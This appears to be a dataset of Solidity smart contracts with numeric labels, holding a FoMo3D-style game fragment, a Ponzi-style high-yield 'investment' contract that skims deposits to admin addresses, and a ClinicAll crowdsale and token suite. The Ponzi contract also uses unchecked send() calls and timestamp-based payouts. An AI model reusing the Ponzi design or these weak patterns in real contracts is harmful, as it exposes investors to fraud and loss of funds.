_eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
147
pragma solidity 0.4.25; contract FuckingEth { using SafeMath for uint; struct Investor { uint deposit; uint paymentTime; uint withdrawal; uint FuckStartup; bool isParticipant; } mapping (address => Investor) public investors; address public admin1Address; address public admin2Address; address public owner; uint public investmentsNumber; uint public investorsNumber; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } event OnRefLink(address indexed referral, uint referrarBonus, address indexed referrer, uint referrerBonus, uint time); event OnNewInvestor(address indexed addr, uint time); event OnInvesment(address indexed addr, uint deposit, uint time); event OnFuckChanged(address indexed addr, bool isActive, uint time); event OnEarlyWithdrawal(address indexed addr, uint withdrawal, uint time); event OnDeleteInvestor(address indexed addr, uint time); event OnWithdraw(address indexed addr, uint withdrawal, uint time); event OnFuckBonus(address indexed addr, uint bonus, uint time); event OnNotEnoughBalance(uint time); constructor() public { owner = msg.sender; admin1Address = msg.sender; admin2Address = msg.sender; } function() external payable { if (msg.value == 0) { withdraw(); } else if (msg.value == 0.01 ether) { Fuck(); } else if (msg.value == 0.003 ether) { earlyWithdrawal(); } else { deposit(bytes2address(msg.data)); } } function disown() public onlyOwner { owner = address(0x0); } function setAdminsAddress(uint n, address addr) public onlyOwner { require(n >= 1 && n <= 2, "invalid number of admin`s address"); if (n == 1) { admin1Address = addr; } else if (n == 2) { admin2Address = addr; } } function investorDividends(address investorAddr) public view returns(uint dividends, uint FuckBonus) { return getDividends(investorAddr); } function withdraw() public { address investorAddr = msg.sender; (uint dividends, uint FuckBonus) = getDividends(investorAddr); require(dividends > 0, "cannot to pay zero dividends"); require(address(this).balance > 0, "fund is empty"); uint withdrawal = dividends + FuckBonus; if (address(this).balance <= withdrawal) { emit OnNotEnoughBalance(now); withdrawal = address(this).balance; } Investor storage investor = investors[investorAddr]; uint withdrawalLimit = investor.deposit * 199 / 100; uint totalWithdrawal = withdrawal + investor.withdrawal; if (totalWithdrawal >= withdrawalLimit) { withdrawal = withdrawalLimit.sub(investor.withdrawal); if (FuckBonus > 0 ) { emit OnFuckBonus(investorAddr, FuckBonus, now); } deleteInvestor(investorAddr); } else { if (withdrawal > dividends) { withdrawal = dividends; } investor.withdrawal += withdrawal; investor.paymentTime = now; if (investor.FuckStartup > 0) { investor.FuckStartup = 0; emit OnFuckChanged(investorAddr, false, now); } } investorAddr.transfer(withdrawal); emit OnWithdraw(investorAddr, withdrawal, now); } function earlyWithdrawal() public { address investorAddr = msg.sender; Investor storage investor = investors[investorAddr]; require(investor.deposit > 0, "sender must be an investor"); uint earlyWithdrawalLimit = investor.deposit * 75 / 100; require(earlyWithdrawalLimit > investor.withdrawal, "early withdraw only before 75% deposit`s withdrawal"); uint withdrawal = earlyWithdrawalLimit.sub(investor.withdrawal); investorAddr.transfer(withdrawal); emit OnEarlyWithdrawal(investorAddr, withdrawal, now); deleteInvestor(investorAddr); } function Fuck() public { Investor storage investor = investors[msg.sender]; require(investor.deposit > 0, "sender must be an investor"); require(investor.FuckStartup == 0, "Fucking is already activated"); investor.FuckStartup = now; emit OnFuckChanged(msg.sender, true, now); } function deposit(address referrerAddr) public payable { uint depositAmount = msg.value; address investorAddr = msg.sender; require(isNotContract(investorAddr), "invest from contracts is not supported"); require(depositAmount > 0, "deposit amount cannot be zero"); admin1Address.send(depositAmount * 60 / 1000); admin2Address.send(depositAmount * 20 / 1000); Investor storage investor = investors[investorAddr]; bool senderIsNotPaticipant = !investor.isParticipant; bool referrerIsParticipant = investors[referrerAddr].isParticipant; if (senderIsNotPaticipant && referrerIsParticipant && referrerAddr != investorAddr) { uint referrerBonus = depositAmount * 4 / 100; uint referralBonus = depositAmount * 3 / 100; referrerAddr.transfer(referrerBonus); investorAddr.transfer(referralBonus); emit OnRefLink(investorAddr, referralBonus, referrerAddr, referrerBonus, now); } if (investor.deposit == 0) { investorsNumber++; investor.isParticipant = true; emit OnNewInvestor(investorAddr, now); } investor.deposit += depositAmount; investor.paymentTime = now; investmentsNumber++; emit OnInvesment(investorAddr, depositAmount, now); } function getDividends(address investorAddr) internal view returns(uint dividends, uint FuckBonus) { Investor storage investor = investors[investorAddr]; if (investor.deposit == 0) { return (0, 0); } if (investor.FuckStartup > 0) { uint FuckDays = now.sub(investor.FuckStartup).div(24 hours); FuckBonus = FuckDays * investor.deposit * 500 / 100000; } uint depositDays = now.sub(investor.paymentTime).div(24 hours); dividends = depositDays * investor.deposit * 1 / 100; uint depositAmountBonus; if (1 ether <= investor.deposit && investor.deposit <= 10 ether) { depositAmountBonus = depositDays * investor.deposit * 5 / 10000; } else if (10 ether <= investor.deposit && investor.deposit <= 25 ether) { depositAmountBonus = depositDays * investor.deposit * 11 / 10000; } else if (25 ether <= investor.deposit) { depositAmountBonus = depositDays * investor.deposit * 15 / 10000; } dividends += depositAmountBonus; } function isNotContract(address addr) internal view returns (bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } function bytes2address(bytes memory source) internal pure returns(address addr) { assembly { addr := mload(add(source, 0x14)) } return addr; } function deleteInvestor(address investorAddr) private { delete investors[investorAddr].deposit; delete investors[investorAddr].paymentTime; delete investors[investorAddr].withdrawal; delete investors[investorAddr].FuckStartup; emit OnDeleteInvestor(investorAddr, now); investorsNumber--; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
1
3,679
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract Escrow is Ownable { using SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } contract ConditionalEscrow is Escrow { function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } contract RefundEscrow is Ownable, ConditionalEscrow { enum State { Active, Refunding, Closed } event Closed(); event RefundsEnabled(); State public state; address public beneficiary; constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } contract ClinicAllRefundEscrow is RefundEscrow { using Math for uint256; struct RefundeeRecord { bool isRefunded; uint256 index; } mapping(address => RefundeeRecord) public refundees; address[] internal refundeesList; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; mapping(address => uint256) private beneficiaryDeposits; uint256 public beneficiaryDepositedAmount; uint256 public investorsDepositedToCrowdSaleAmount; constructor(address _beneficiary) RefundEscrow(_beneficiary) public { } function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } function beneficiaryDepositsOf(address _payee) public view returns (uint256) { return beneficiaryDeposits[_payee]; } function deposit(address _refundee) public payable { uint256 amount = msg.value; beneficiaryDeposits[_refundee] = beneficiaryDeposits[_refundee].add(amount); beneficiaryDepositedAmount = beneficiaryDepositedAmount.add(amount); } function depositFunds(address _refundee, uint256 _value) public onlyOwner { require(state == State.Active, "Funds deposition is possible only in the Active state."); uint256 amount = _value; deposits[_refundee] = deposits[_refundee].add(amount); investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.add(amount); emit Deposited(_refundee, amount); RefundeeRecord storage _data = refundees[_refundee]; _data.isRefunded = false; if (_data.index == uint256(0)) { refundeesList.push(_refundee); _data.index = refundeesList.length.sub(1); } } function close() public onlyOwner { super.close(); } function withdraw(address _payee) public onlyOwner { require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state."); require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal."); RefundeeRecord storage _data = refundees[_payee]; require(_data.isRefunded == false, "An investor should not be refunded."); uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.sub(payment); _payee.transfer(payment); emit Withdrawn(_payee, payment); _data.isRefunded = true; removeRefundeeByIndex(_data.index); } function manualRefund(address _payee) public onlyOwner { RefundeeRecord storage _data = refundees[_payee]; deposits[_payee] = 0; _data.isRefunded = true; removeRefundeeByIndex(_data.index); } function removeRefundeeByIndex(uint256 _indexToDelete) private { if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) { uint256 _lastIndex = refundeesList.length.sub(1); refundeesList[_indexToDelete] = refundeesList[_lastIndex]; refundeesList.length--; } } function refundeesListLength() public onlyOwner view returns (uint256) { return refundeesList.length; } function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) { require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state."); uint256 _refundeesCount = refundeesList.length; require(_chunkLength >= _refundeesCount); require(_txFee > 0, "Transaction fee should be above zero."); require(_refundeesCount > 0, "List of investors should not be empty."); uint256 _weiRefunded = 0; require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees."); address[] memory _refundeesListCopy = new address[](_chunkLength); uint256 i; for (i = 0; i < _chunkLength; i++) { address _refundee = refundeesList[i]; RefundeeRecord storage _data = refundees[_refundee]; if (_data.isRefunded == false) { if (depositsOf(_refundee) > _txFee) { uint256 _deposit = depositsOf(_refundee); if (_deposit > _txFee) { _weiRefunded = _weiRefunded.add(_deposit); uint256 _paymentWithoutTxFee = _deposit.sub(_txFee); _refundee.transfer(_paymentWithoutTxFee); emit Withdrawn(_refundee, _paymentWithoutTxFee); _data.isRefunded = true; _refundeesListCopy[i] = _refundee; } } } } for (i = 0; i < _chunkLength; i++) { if (address(0) != _refundeesListCopy[i]) { RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]]; require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded."); removeRefundeeByIndex(_dataCleanup.index); } } return (_weiRefunded, _refundeesListCopy); } function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) { require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state."); return withdrawChunk(_txFee, refundeesList.length); } function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner { require(_value <= address(this).balance, "Withdraw part can not be more than current balance"); beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value); beneficiary.transfer(_value); } function beneficiaryWithdrawAll() public onlyOwner { uint256 _value = address(this).balance; beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value); beneficiary.transfer(_value); } } contract TokenDestructible is Ownable { constructor() public payable { } function destroy(address[] tokens) onlyOwner public { for (uint256 i = 0; i < tokens.length; i++) { ERC20Basic token = ERC20Basic(tokens[i]); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } selfdestruct(owner); } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TransferableToken is Ownable { event TransferOn(); event TransferOff(); bool public transferable = false; modifier whenNotTransferable() { require(!transferable); _; } modifier whenTransferable() { require(transferable); _; } function transferOn() onlyOwner whenNotTransferable public { transferable = true; emit TransferOn(); } function transferOff() onlyOwner whenTransferable public { transferable = false; emit TransferOff(); } } contract ClinicAllToken is MintableToken, DetailedERC20, CappedToken, PausableToken, BurnableToken, TokenDestructible, TransferableToken { constructor ( string _name, string _symbol, uint8 _decimals, uint256 _cap ) DetailedERC20(_name, _symbol, _decimals) CappedToken(_cap) public { } function burnAfterRefund(address _who) public onlyOwner { uint256 _value = balances[_who]; _burn(_who, _value); } function transfer( address _to, uint256 _value ) public whenTransferable returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenTransferable returns (bool) { return super.transferFrom(_from, _to, _value); } function transferToPrivateInvestor( address _from, address _to, uint256 _value ) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function burnPrivateSale(address privateSaleWallet, uint256 _value) public onlyOwner { _burn(privateSaleWallet, _value); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address addr) internal { role.bearer[addr] = true; } function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } function check(Role storage role, address addr) view internal { require(has(role, addr)); } function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); function checkRole(address _operator, string _role) view public { roles[_role].check(_operator); } function hasRole(address _operator, string _role) view public returns (bool) { return roles[_role].has(_operator); } function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } } contract Managed is Ownable, RBAC { string public constant ROLE_MANAGER = "manager"; modifier onlyManager() { checkRole(msg.sender, ROLE_MANAGER); _; } function setManager(address _operator) public onlyOwner { addRole(_operator, ROLE_MANAGER); } function removeManager(address _operator) public onlyOwner { removeRole(_operator, ROLE_MANAGER); } } contract Limited is Managed { using SafeMath for uint256; mapping(address => uint256) public limitsList; modifier isLimited(address _payee) { require(limitsList[_payee] > 0, "An investor is limited if it has a limit."); _; } modifier doesNotExceedLimit(address _payee, uint256 _tokenAmount, uint256 _tokenBalance, uint256 kycLimitEliminator) { if(_tokenBalance.add(_tokenAmount) >= kycLimitEliminator) { require(_tokenBalance.add(_tokenAmount) <= getLimit(_payee), "An investor should not exceed its limit on buying."); } _; } function getLimit(address _payee) public view returns (uint256) { return limitsList[_payee]; } function addAddressesLimits(address[] _payees, uint256[] _limits) public onlyManager { require(_payees.length == _limits.length, "Array sizes should be equal."); for (uint256 i = 0; i < _payees.length; i++) { addLimit(_payees[i], _limits[i]); } } function addLimit(address _payee, uint256 _limit) public onlyManager { limitsList[_payee] = _limit; } function removeLimit(address _payee) external onlyManager { limitsList[_payee] = 0; } } contract Whitelist is Ownable, RBAC { string public constant ROLE_WHITELISTED = "whitelist"; modifier onlyIfWhitelisted(address _operator) { checkRole(_operator, ROLE_WHITELISTED); _; } function addAddressToWhitelist(address _operator) onlyOwner public { addRole(_operator, ROLE_WHITELISTED); } function whitelist(address _operator) public view returns (bool) { return hasRole(_operator, ROLE_WHITELISTED); } function addAddressesToWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } function removeAddressFromWhitelist(address _operator) onlyOwner public { removeRole(_operator, ROLE_WHITELISTED); } function removeAddressesFromWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } contract ManagedWhitelist is Managed, Whitelist { function addAddressToWhitelist(address _operator) public onlyManager { addRole(_operator, ROLE_WHITELISTED); } function addAddressesToWhitelist(address[] _operators) public onlyManager { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } function removeAddressFromWhitelist(address _operator) public onlyManager { removeRole(_operator, ROLE_WHITELISTED); } function removeAddressesFromWhitelist(address[] _operators) public onlyManager { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } contract ClinicAllCrowdsale is Crowdsale, FinalizableCrowdsale, MintedCrowdsale, ManagedWhitelist, Limited { constructor ( uint256 _tokenLimitSupply, uint256 _rate, address _wallet, address _privateSaleWallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime, uint256 _discountTokenAmount, uint256 _discountTokenPercent, uint256 _preSaleClosingTime, uint256 _softCapLimit, ClinicAllRefundEscrow _vault, uint256 _buyLimitSupplyMin, uint256 _buyLimitSupplyMax, uint256 _kycLimitEliminator ) Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) public { privateSaleWallet = _privateSaleWallet; tokenSupplyLimit = _tokenLimitSupply; discountTokenAmount = _discountTokenAmount; discountTokenPercent = _discountTokenPercent; preSaleClosingTime = _preSaleClosingTime; softCapLimit = _softCapLimit; vault = _vault; buyLimitSupplyMin = _buyLimitSupplyMin; buyLimitSupplyMax = _buyLimitSupplyMax; kycLimitEliminator = _kycLimitEliminator; } using SafeMath for uint256; ClinicAllRefundEscrow public vault; uint256 public tokenSupplyLimit; uint256 public discountTokenAmount; uint256 public discountTokenPercent; uint256 public preSaleClosingTime; uint256 public softCapLimit; uint256 public buyLimitSupplyMin; uint256 public buyLimitSupplyMax; uint256 public kycLimitEliminator; address public privateSaleWallet; uint256 public privateSaleSupplyLimit; function updateRate(uint256 _rate) public onlyManager { require(_rate != 0, "Exchange rate should not be 0."); rate = _rate; } function updateBuyLimitRange(uint256 _min, uint256 _max) public 